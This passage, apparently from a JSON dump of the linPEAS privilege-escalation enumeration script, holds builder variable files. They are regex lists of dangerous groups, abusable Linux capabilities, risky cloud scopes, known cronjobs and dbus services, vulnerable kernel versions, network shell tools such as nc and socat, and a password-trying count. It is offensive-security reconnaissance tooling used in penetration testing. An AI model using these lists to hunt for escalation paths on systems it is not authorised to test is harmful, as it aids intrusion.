    "content": "# Title: Variables - GCP_BAD_SCOPES\n# ID: GCP_BAD_SCOPES\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Dangerous GCP Scopes\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $GCP_BAD_SCOPES\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nGCP_BAD_SCOPES=\"/cloud-platform|/compute\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/GCP_GOOD_SCOPES.sh",
    "content": "# Title: Variables - GCP_GOOD_SCOPES\n# ID: GCP_GOOD_SCOPES\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Good GCP Scopes not dangerous\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $GCP_GOOD_SCOPES\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nGCP_GOOD_SCOPES=\"/devstorage.read_only|/logging.write|/monitoring|/servicecontrol|/service.management.readonly|/trace.append\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/GREP_DOCKER_SOCK_INFOS.sh",
    "content": "# Title: Variables - GREP_DOCKER_SOCK_INFOS\n# ID: GREP_DOCKER_SOCK_INFOS\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Grep docker.sock infos\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $GREP_DOCKER_SOCK_INFOS\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nGREP_DOCKER_SOCK_INFOS=\"Architecture|OSType|Name|DockerRootDir|NCPU|OperatingSystem|KernelVersion|ServerVersion\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/GREP_DOCKER_SOCK_INFOS_IGNORE.sh",
    "content": "# Title: Variables - GREP_DOCKER_SOCK_INFOS_IGNORE\n# ID: GREP_DOCKER_SOCK_INFOS_IGNORE\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Ignore this strings when grepping docker.sock infos\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $GREP_DOCKER_SOCK_INFOS_IGNORE\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nGREP_DOCKER_SOCK_INFOS_IGNORE=\"IndexConfig\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/GREP_IGNORE_MOUNTS.sh",
    "content": "# Title: Variables - GREP_IGNORE_MOUNTS\n# ID: GREP_IGNORE_MOUNTS\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Ignore this strings when grepping mounts\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $GREP_IGNORE_MOUNTS\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nGREP_IGNORE_MOUNTS=\"/ /|/null | proc proc |/dev/console\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/Groups.sh",
    "content": "# Title: Variables - Groups\n# ID: Groups\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Get groups of the current user\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables: $USER\n# Initial Functions:\n# Generated Global Variables: $Groups\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nGroups=\"ImPoSSssSiBlEee\"$(groups \"$USER\" 2>/dev/null | cut -d \":\" -f 2 | tr ' ' '|')"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/INT_HIDDEN_FILES.sh",
    "content": "# Title: Variables - INT_HIDDEN_FILES\n# ID: INT_HIDDEN_FILES\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Interesting hidden files\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $INT_HIDDEN_FILES\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nINT_HIDDEN_FILES=\"peass{INT_HIDDEN_FILES}\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/LDD.sh",
    "content": "# Title: Variables - LDD\n# ID: LDD\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Find ldd\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $LDD\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nLDD=\"$(command -v ldd 2>/dev/null || echo -n '')\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/MyUID.sh",
    "content": "# Title: Variables - MyUID\n# ID: MyUID\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: My UID\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $MyUID\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nMyUID=$(id -u $(whoami))"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/NGINX_KNOWN_MODULES.sh",
    "content": "# Title: Variables - NGINX_KNOWN_MODULES\n# ID: NGINX_KNOWN_MODULES\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: known modules for nginx\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $NGINX_KNOWN_MODULES\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nNGINX_KNOWN_MODULES=\"ngx_http_geoip_module.so|ngx_http_xslt_filter_module.so|ngx_stream_geoip_module.so|ngx_http_image_filter_module.so|ngx_mail_module.so|ngx_stream_module.so\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/NOUSEPS.sh",
    "content": "# Title: Variables - NOUSEPS\n# ID: NOUSEPS\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Don't use ps\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $NOUSEPS\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ \"$(ps auxwww 2>/dev/null | wc -l 2>/dev/null)\" -lt 8 ]; then\n  NOUSEPS=\"1\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/NoEnvVars.sh",
    "content": "# Title: Variables - NoEnvVars\n# ID: NoEnvVars\n# Author: Carlos Polop\n# Last Update: 26-05-2025\n# Description: Useless env vars\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $NoEnvVars\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nNoEnvVars=\"LESS_TERMCAP|JOURNAL_STREAM|XDG_SESSION|DBUS_SESSION|systemd\\/sessions|systemd_exec|MEMORY_PRESSURE_WATCH|RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs|USEFUL_SOFTWARE|PSTORAGE_|^PATH=|^INVOCATION_ID=|^WATCHDOG_PID=|^LISTEN_PID=\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/PASSTRY.sh",
    "content": "# Title: Variables - PASSTRY\n# ID: PASSTRY\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Number of passwords to try\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $PASSTRY\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nPASSTRY=\"2000\" #Default num of passwds to try (all by default)"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/PATH.sh",
    "content": "# Title: Variables - PATH\n# ID: PATH\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Path\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $PATH, $ADDPATH, $OLDPATH, $spath\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nOLDPATH=$PATH\nADDPATH=\":/usr/local/sbin\\\n :/usr/local/bin\\\n :/usr/sbin\\\n :/usr/bin\\\n :/sbin\\\n :/bin\"\nspath=\":$PATH\"\nfor P in $ADDPATH; do\n  if [ \"${spath##*$P*}\" ]; then export PATH=\"$PATH$P\" 2>/dev/null; fi\ndone"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/READELF.sh",
    "content": "# Title: Variables - READELF\n# ID: READELF\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Find readelf\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $READELF\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nREADELF=\"$(command -v readelf 2>/dev/null || echo -n '')\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/STRACE.sh",
    "content": "# Title: Variables - STRACE\n# ID: STRACE\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Find strace\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $STRACE\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nSTRACE=\"$(command -v strace 2>/dev/null || echo -n '')\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/STRINGS.sh",
    "content": "# Title: Variables - STRINGS\n# ID: STRINGS\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Find strings\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $STRINGS\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nSTRINGS=\"$(command -v strings 2>/dev/null || echo -n '')\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/TIMEOUT.sh",
    "content": "# Title: Variables - TIMEOUT\n# ID: TIMEOUT\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Find timeout\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $TIMEOUT\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nTIMEOUT=\"$(command -v timeout 2>/dev/null || echo -n '')\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/TIP_DOCKER_ROOTLESS.sh",
    "content": "# Title: Variables - TIP_DOCKER_ROOTLESS\n# ID: TIP_DOCKER_ROOTLESS\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: In rootless mode privilege escalation to root will not be possible.\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $TIP_DOCKER_ROOTLESS\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nTIP_DOCKER_ROOTLESS=\"In rootless mode privilege escalation to root will not be possible.\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/USEFUL_SOFTWARE.sh",
    "content": "# Title: Variables - USEFUL_SOFTWARE\n# ID: USEFUL_SOFTWARE\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Useful software\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $USEFUL_SOFTWARE\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nUSEFUL_SOFTWARE=\"authbind aws az base64 ctr curl doas docker fetch g++ gcc gcloud gdb go kubectl lua lxc make nc nc.traditional ncat netcat nmap perl php ping podman python python2 python2.6 python2.7 python3 python3.6 python3.7 pwsh rkt ruby runc socat sudo wget xterm\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/baduid.sh",
    "content": "# Title: Variables - baduid\n# ID: baduid\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Bad UID if greater than 2147483646\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables: $MyUID\n# Initial Functions:\n# Generated Global Variables: $baduid, $myuid\n# Fat linpeas: 0\n# Small linpeas: 1\n\nif [ \"$MyUID\" ]; then \n    myuid=$MyUID; \nelif [ $(id -u $(whoami) 2>/dev/null) ]; then\n    myuid=$(id -u $(whoami) 2>/dev/null);\nelif [ \"$(id 2>/dev/null | cut -d \"=\" -f 2 | cut -d \"(\" -f 1)\" ]; then \n    myuid=$(id 2>/dev/null | cut -d \"=\" -f 2 | cut -d \"(\" -f 1); \nfi\n\n\nif [ $myuid -gt 2147483646 ]; then baduid=\"|$myuid\"; fi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/capsB.sh",
    "content": "# Title: Variables - capsVB\n# ID: capsB\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Dangerous capabilities to search\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $capsB\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncapsB=\"=ep|cap_chown|cap_fowner|cap_fsetid|cap_setpcap|cap_setfcap|cap_dac_override|cap_dac_read_search|cap_setuid|cap_setgid|cap_kill|cap_net_bind_service|cap_net_raw|cap_net_admin|cap_sys_admin|cap_sys_ptrace|cap_sys_module|cap_sys_rawio|cap_bpf|cap_perfmon\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/capsVB.sh",
    "content": "# Title: Variables - capsVB\n# ID: capsVB\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Very dangerous capabilities to search\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $capsVB\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncapsVB=\"cap_sys_admin:mount|python \\\ncap_sys_ptrace:python \\\ncap_sys_module:kmod|python \\\ncap_dac_override:python|vim \\\ncap_chown:chown|python \\\ncap_fowner:chown|python \\\ncap_setfcap:python|perl|ruby|php|node|lua|bash \\\ncap_setpcap:python|perl|ruby|php|node|lua|bash \\\ncap_setuid:peass{CAP_SETUID_HERE} \\\ncap_setgid:peass{CAP_SETGID_HERE} \\\ncap_net_raw:python|tcpdump|dumpcap|tcpflow\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/cfuncs.sh",
    "content": "# Title: Variables - cfuncs\n# ID: cfuncs\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: C functions to search\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $cfuncs\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncfuncs='file|free|main|more|read|split|write'"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/commonrootdirsG.sh",
    "content": "# Title: Variables - commonrootdirsG\n# ID: commonrootdirsG\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Common root directories\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $commonrootdirsG\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncommonrootdirsG=\"^/$|/bin$|/boot$|/.cache$|/cdrom|/dev$|/etc$|/home$|/lost+found$|/lib$|/lib32$|libx32$|/lib64$|lost\\+found|/media$|/mnt$|/opt$|/proc$|/root$|/run$|/sbin$|/snap$|/srv$|/sys$|/tmp$|/usr$|/var$\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/commonrootdirsMacG.sh",
    "content": "# Title: Variables - commonrootdirsMacG\n# ID: commonrootdirsMacG\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Common root directories in Mac\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $commonrootdirsMacG\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncommonrootdirsMacG=\"^/$|/.DocumentRevisions-V100|/.fseventsd|/.PKInstallSandboxManager-SystemSoftware|/.Spotlight-V100|/.Trashes|/.vol|/Applications|/bin|/cores|/dev|/home|/Library|/macOS Install Data|/net|/Network|/opt|/private|/sbin|/System|/Users|/usr|/Volumes\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/containercapsB.sh",
    "content": "# Title: Variables - containercapsB\n# ID: containercapsB\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Dangerous capabilities to search in containers\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $containercapsB\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncontainercapsB=\"sys_admin|sys_ptrace|sys_module|dac_read_search|dac_override|sys_rawio|syslog|net_raw|net_admin\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/cronjobsB.sh",
    "content": "# Title: Variables - cronjobsG\n# ID: cronjobsB\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Dangerous cronjobs to search\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $cronjobsB\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncronjobsB=\"centreon\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/cronjobsG.sh",
    "content": "# Title: Variables - cronjobsG\n# ID: cronjobsG\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Known cronjobs to search\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $cronjobsG\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncronjobsG=\".placeholder|0anacron|0hourly|110.clean-tmps|130.clean-msgs|140.clean-rwho|199.clean-fax|199.rotate-fax|200.accounting|310.accounting|400.status-disks|420.status-network|430.status-rwho|999.local|anacron|apache2|apport|apt|aptitude|apt-compat|bsdmainutils|certwatch|cracklib-runtime|debtags|dpkg|e2scrub_all|exim4-base|fake-hwclock|fstrim|john|locate|logrotate|man-db.cron|man-db|mdadm|mlocate|mod-pagespeed|ntp|passwd|php|popularity-contest|raid-check|rwhod|samba|standard|sysstat|ubuntu-advantage-tools|update-motd|update-notifier-common|upstart|\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/dbuslistG.sh",
    "content": "# Title: Variables - dbuslistG\n# ID: dbuslistG\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: List of known dbus services to search for\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $dbuslistG\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ndbuslistG=\"^:1\\.[0-9\\.]+|com.hp.hplip|com.intel.tss2.Tabrmd|com.redhat.ifcfgrh1|com.redhat.NewPrinterNotification|com.redhat.PrinterDriversInstaller|com.redhat.RHSM1|com.redhat.RHSM1.Facts|com.redhat.tuned|com.ubuntu.LanguageSelector|com.ubuntu.SoftwareProperties|com.ubuntu.SystemService|com.ubuntu.USBCreator|com.ubuntu.WhoopsiePreferences|io.netplan.Netplan|io.snapcraft.SnapdLoginService|fi.epitest.hostap.WPASupplicant|fi.w1.wpa_supplicant1|NAME|net.hadess.SwitcherooControl|org.blueman.Mechanism|org.bluez|org.debian.apt|org.fedoraproject.FirewallD1|org.fedoraproject.Setroubleshootd|org.fedoraproject.SetroubleshootFixit|org.fedoraproject.SetroubleshootPrivileged|org.freedesktop.Accounts|org.freedesktop.Avahi|org.freedesktop.bolt|org.freedesktop.ColorManager|org.freedesktop.DBus|org.freedesktop.DisplayManager|org.freedesktop.fwupd|org.freedesktop.GeoClue2|org.freedesktop.hostname1|org.freedesktop.import1|org.freedesktop.locale1|org.freedesktop.login1|org.freedesktop.machine1|org.freedesktop.ModemManager1|org.freedesktop.NetworkManager|org.freedesktop.network1|org.freedesktop.nm_dispatcher|org.freedesktop.nm_priv_helper|org.freedesktop.PackageKit|org.freedesktop.PolicyKit1|org.freedesktop.portable1|org.freedesktop.realmd|org.freedesktop.RealtimeKit1|org.freedesktop.SystemToolsBackends|org.freedesktop.SystemToolsBackends.[a-zA-Z0-9_]+|org.freedesktop.resolve1|org.freedesktop.systemd1|org.freedesktop.thermald|org.freedesktop.timedate1|org.freedesktop.timesync1|org.freedesktop.UDisks2|org.freedesktop.UPower|org.gnome.DisplayManager|org.opensuse.CupsPkHelper.Mechanism\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/filename.sh",
    "content": "# Title: Variables - filename\n# ID: filename\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Random filename\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables: $SCRIPTNAME, $RANDOM\n# Initial Functions:\n# Generated Global Variables: $filename\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nfilename=\"$SCRIPTNAME.txt$RANDOM\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/groupsB.sh",
    "content": "# Title: Variables - groupsB\n# ID: groupsB\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Dangerous groups\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $groupsB\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ngroupsB=\"\\(root\\)|\\(shadow\\)|\\(admin\\)|\\(video\\)|\\(adm\\)|\\(wheel\\)|\\(auth\\)|\\(staff\\)\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/groupsVB.sh",
    "content": "# Title: Variables - groupsVB\n# ID: groupsVB\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Very dangerous groups\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $groupsVB\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ngroupsVB=\"\\(sudo\\)|\\(docker\\)|\\(lxd\\)|\\(disk\\)|\\(lxc\\)\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/idB.sh",
    "content": "# Title: Variables - idB\n# ID: idB\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Dangerous uid\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables: $baduid\n# Initial Functions:\n# Generated Global Variables: $idB\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nidB=\"euid|egid$baduid\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/kernel.sh",
    "content": "# Title: Variables - kernel\n# ID: kernel\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Vulnerable old kernel versions\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $kernelB, $kernelDCW_Ubuntu_Precise_1, $kernelDCW_Ubuntu_Precise_2, $kernelDCW_Ubuntu_Precise_3, $kernelDCW_Ubuntu_Precise_4, $kernelDCW_Ubuntu_Precise_5,  $kernelDCW_Ubuntu_Precise_6, $kernelDCW_Ubuntu_Trusty_1, $kernelDCW_Ubuntu_Trusty_2, $kernelDCW_Ubuntu_Trusty_3, $kernelDCW_Ubuntu_Trusty_4, $kernelDCW_Ubuntu_Xenial, $kernelDCW_Rhel5_1, $kernelDCW_Rhel5_2, $kernelDCW_Rhel5_3, $kernelDCW_Rhel6_1, $kernelDCW_Rhel6_2, $kernelDCW_Rhel6_3, $kernelDCW_Rhel6_4, $kernelDCW_Rhel7\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nkernelB=\" 4.0.[0-9]+| 4.1.[0-9]+| 4.2.[0-9]+| 4.3.[0-9]+| 4.4.[0-9]+| 4.5.[0-9]+| 4.6.[0-9]+| 4.7.[0-9]+| 4.8.[0-9]+| 4.9.[0-9]+| 4.10.[0-9]+| 4.11.[0-9]+| 4.12.[0-9]+| 4.13.[0-9]+| 3.9.6| 3.9.0| 3.9| 3.8.9| 3.8.8| 3.8.7| 3.8.6| 3.8.5| 3.8.4| 3.8.3| 3.8.2| 3.8.1| 3.8.0| 3.8| 3.7.6| 3.7.0| 3.7| 3.6.0| 3.6| 3.5.0| 3.5| 3.4.9| 3.4.8| 3.4.6| 3.4.5| 3.4.4| 3.4.3| 3.4.2| 3.4.1| 3.4.0| 3.4| 3.3| 3.2| 3.19.0| 3.16.0| 3.15| 3.14| 3.13.1| 3.13.0| 3.13| 3.12.0| 3.12| 3.11.0| 3.11| 3.10.6| 3.10.0| 3.10| 3.1.0| 3.0.6| 3.0.5| 3.0.4| 3.0.3| 3.0.2| 3.0.1| 3.0.0| 2.6.9| 2.6.8| 2.6.7| 2.6.6| 2.6.5| 2.6.4| 2.6.39| 2.6.38| 2.6.37| 2.6.36| 2.6.35| 2.6.34| 2.6.33| 2.6.32| 2.6.31| 2.6.30| 2.6.3| 2.6.29| 2.6.28| 2.6.27| 2.6.26| 2.6.25| 2.6.24.1| 2.6.24| 2.6.23| 2.6.22| 2.6.21| 2.6.20| 2.6.2| 2.6.19| 2.6.18| 2.6.17| 2.6.16| 2.6.15| 2.6.14| 2.6.13| 2.6.12| 2.6.11| 2.6.10| 2.6.1| 2.6.0| 2.4.9| 2.4.8| 2.4.7| 2.4.6| 2.4.5| 2.4.4| 2.4.37| 2.4.36| 2.4.35| 2.4.34| 2.4.33| 2.4.32| 2.4.31| 2.4.30| 2.4.29| 2.4.28| 2.4.27| 2.4.26| 2.4.25| 2.4.24| 2.4.23| 2.4.22| 2.4.21| 2.4.20| 2.4.19| 2.4.18| 2.4.17| 2.4.16| 2.4.15| 2.4.14| 2.4.13| 2.4.12| 2.4.11| 2.4.10| 2.2.24\"\nkernelDCW_Ubuntu_Precise_1=\"3.1.1-1400-linaro-lt-mx5|3.11.0-13-generic|3.11.0-14-generic|3.11.0-15-generic|3.11.0-17-generic|3.11.0-18-generic|3.11.0-20-generic|3.11.0-22-generic|3.11.0-23-generic|3.11.0-24-generic|3.11.0-26-generic|3.13.0-100-generic|3.13.0-24-generic|3.13.0-27-generic|3.13.0-29-generic|3.13.0-30-generic|3.13.0-32-generic|3.13.0-33-generic|3.13.0-34-generic|3.13.0-35-generic|3.13.0-36-generic|3.13.0-37-generic|3.13.0-39-generic|3.13.0-40-generic|3.13.0-41-generic|3.13.0-43-generic|3.13.0-44-generic|3.13.0-46-generic|3.13.0-48-generic|3.13.0-49-generic|3.13.0-51-generic|3.13.0-52-generic|3.13.0-53-generic|3.13.0-54-generic|3.13.0-55-generic|3.13.0-57-generic|3.13.0-58-generic|3.13.0-59-generic|3.13.0-61-generic|3.13.0-62-generic|3.13.0-63-generic|3.13.0-65-generic|3.13.0-66-generic|3.13.0-67-generic|3.13.0-68-generic|3.13.0-71-generic|3.13.0-73-generic|3.13.0-74-generic|3.13.0-76-generic|3.13.0-77-generic|3.13.0-79-generic|3.13.0-83-generic|3.13.0-85-generic|3.13.0-86-generic|3.13.0-88-generic|3.13.0-91-generic|3.13.0-92-generic|3.13.0-93-generic|3.13.0-95-generic|3.13.0-96-generic|3.13.0-98-generic|3.2.0-101-generic|3.2.0-101-generic-pae|3.2.0-101-virtual|3.2.0-102-generic|3.2.0-102-generic-pae|3.2.0-102-virtual\"\nkernelDCW_Ubuntu_Precise_2=\"3.2.0-104-generic|3.2.0-104-generic-pae|3.2.0-104-virtual|3.2.0-105-generic|3.2.0-105-generic-pae|3.2.0-105-virtual|3.2.0-106-generic|3.2.0-106-generic-pae|3.2.0-106-virtual|3.2.0-107-generic|3.2.0-107-generic-pae|3.2.0-107-virtual|3.2.0-109-generic|3.2.0-109-generic-pae|3.2.0-109-virtual|3.2.0-110-generic|3.2.0-110-generic-pae|3.2.0-110-virtual|3.2.0-111-generic|3.2.0-111-generic-pae|3.2.0-111-virtual|3.2.0-1412-omap4|3.2.0-1602-armadaxp|3.2.0-23-generic|3.2.0-23-generic-pae|3.2.0-23-lowlatency|3.2.0-23-lowlatency-pae|3.2.0-23-omap|3.2.0-23-powerpc-smp|3.2.0-23-powerpc64-smp|3.2.0-23-virtual|3.2.0-24-generic|3.2.0-24-generic-pae|3.2.0-24-virtual|3.2.0-25-generic|3.2.0-25-generic-pae|3.2.0-25-virtual|3.2.0-26-generic|3.2.0-26-generic-pae|3.2.0-26-virtual|3.2.0-27-generic|3.2.0-27-generic-pae|3.2.0-27-virtual|3.2.0-29-generic|3.2.0-29-generic-pae|3.2.0-29-virtual|3.2.0-31-generic|3.2.0-31-generic-pae|3.2.0-31-virtual|3.2.0-32-generic|3.2.0-32-generic-pae|3.2.0-32-virtual|3.2.0-33-generic|3.2.0-33-generic-pae|3.2.0-33-lowlatency|3.2.0-33-lowlatency-pae|3.2.0-33-virtual|3.2.0-34-generic|3.2.0-34-generic-pae|3.2.0-34-virtual|3.2.0-35-generic|3.2.0-35-generic-pae|3.2.0-35-lowlatency|3.2.0-35-lowlatency-pae|3.2.0-35-virtual\"\nkernelDCW_Ubuntu_Precise_3=\"3.2.0-36-generic|3.2.0-36-generic-pae|3.2.0-36-lowlatency|3.2.0-36-lowlatency-pae|3.2.0-36-virtual|3.2.0-37-generic|3.2.0-37-generic-pae|3.2